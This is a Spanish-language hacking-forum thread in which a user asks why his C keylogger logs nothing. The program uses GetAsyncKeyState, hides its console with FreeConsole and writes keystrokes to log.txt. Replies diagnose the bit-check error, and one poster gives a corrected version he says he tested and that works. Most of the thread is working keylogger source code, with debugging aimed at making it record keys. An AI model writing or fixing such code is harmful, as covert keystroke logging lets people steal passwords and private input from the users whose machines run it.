Autor
|
Tema: Keylogger queda ejecutándose en un while infinito (Leído 2,815 veces)
|
kutcher
Desconectado
Mensajes: 53
|
Buenas, tengo el siguiente programa : #include <stdio.h> #include <stdlib.h> #include <windows.h> int main(void) { FILE *f; int i, n = 0; int line[256]; FreeConsole(); if(! (f = fopen("log.txt", "ab+"))) return EXIT_FAILURE; while(1) { for(i = 0; i < 255; i++) { if(GetAsyncKeyState(i) == -32767) { if( n < 255) line[n++] = i; else { line[n] = '\0'; fprintf(f, "%s\n", line); n = 0; } } } Sleep(2); } fclose(f); return EXIT_SUCCESS; }
Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente Saludos kutcher
|
|
|
En línea
|
|
|
|
engel lex
|
si, es un loop infinito... es un keylogger no? que quieres más que haga?
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
kutcher
Desconectado
Mensajes: 53
|
que quieres más que haga?
Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias Saludos kutcher
|
|
« Última modificación: 13 Septiembre 2014, 04:44 am por kutcher »
|
En línea
|
|
|
|
engel lex
|
no se realmente no se como funciona el lio con GetAsyncKeyState si quieres buscate la documentacion... por aqui igual hay un tema de keylogger... el codigo está un poco dañado por el foro, pero seguramente puedes leerlo http://foro.elhacker.net/buscador2-t419324.0.html;msg1957917#msg1957917
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
BloodSharp
Desconectado
Mensajes: 812
¡ Hiperfoco !
|
Hay un pequeño detalle que msdn menciona respecto a GetAsyncKeyState y que indica que si la tecla que le pasás por parámetro está presionada el valor de retorno (en su bit menos significativo) si es distinto a cero significa que la tecla fue presionada... Habiendo explicado eso podrías probar lo siguiente: if(GetAsyncKeyState(tecla)&1) { //tecla presionada codigo } else { //tecla no fue presionada codigo }
Por otra parte usar un bucle infinito para capturar teclas es un asesinato de cpu espectacular lo cual el proceso consumiría una banda de uso del/los procesador/es de tu pc, lo ideal sería capturar las teclas mediante mensajes del sistema operativo ya que de esa forma optimizarías el uso de tu programa con respecto a los otros procesos. B#
|
|
|
En línea
|
|
|
|
engel lex
|
el usa un sleep de 2ms... aunque es muy corto, es suficiente... pero most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks. no quise opinar porque decía que no se debe confiar en este comportamiento... y de todas todos los key que he visto por aqui usan ese metodo... no se que otro pueden usar tampoco
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
BloodSharp
Desconectado
Mensajes: 812
¡ Hiperfoco !
|
Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser: if(GetAsyncKeyState(tecla)&0x80000000) { //presionado } else { //no presionado }
EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW #include <stdio.h> #include <stdlib.h> #include <windows.h> #define MAX_VIRTUALKEY 0xFF char szKeyIntegerFormat[]="%i "; BOOL InsertKey(int key) { FILE *lpFile; if((lpFile =fopen("log.txt","a"))) { printf(szKeyIntegerFormat ,key ); fprintf(lpFile ,szKeyIntegerFormat ,key ); return TRUE; } return FALSE; } int main(void) { int iVirtualKey; //FreeConsole(); while(TRUE) { for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++) if(GetAsyncKeyState(iVirtualKey)&0x80000000) if(!InsertKey(iVirtualKey)) return EXIT_FAILURE; Sleep(100); } return EXIT_SUCCESS; }
B#
|
|
« Última modificación: 13 Septiembre 2014, 16:49 pm por IEAX »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Sonido infinito en Swish Max
Diseño Gráfico
|
Azielito
|
3
|
4,177
|
30 Marzo 2004, 03:11 am
por BADBYTE-K
|
|
|
¿Cómo detecto si un programa está ejecutándose?
Programación Visual Basic
|
javito14
|
6
|
2,724
|
27 Julio 2008, 11:47 am
por SKL (orignal)
|
|
|
Dejar el programa ejecutandose en memoria
Programación Visual Basic
|
hAcKeR92
|
8
|
3,475
|
31 Enero 2009, 15:25 pm
por Karcrack
|
|
|
while infinito...
« 1 2 »
Programación C/C++
|
javahat
|
11
|
6,122
|
25 Mayo 2010, 07:16 am
por bizco
|
|
|
¿Como ocultar programa al iniciar windows pero que siga ejecutandose?
Windows
|
[{tusombra}]
|
6
|
13,305
|
8 Enero 2012, 09:03 am
por Randomize
|
|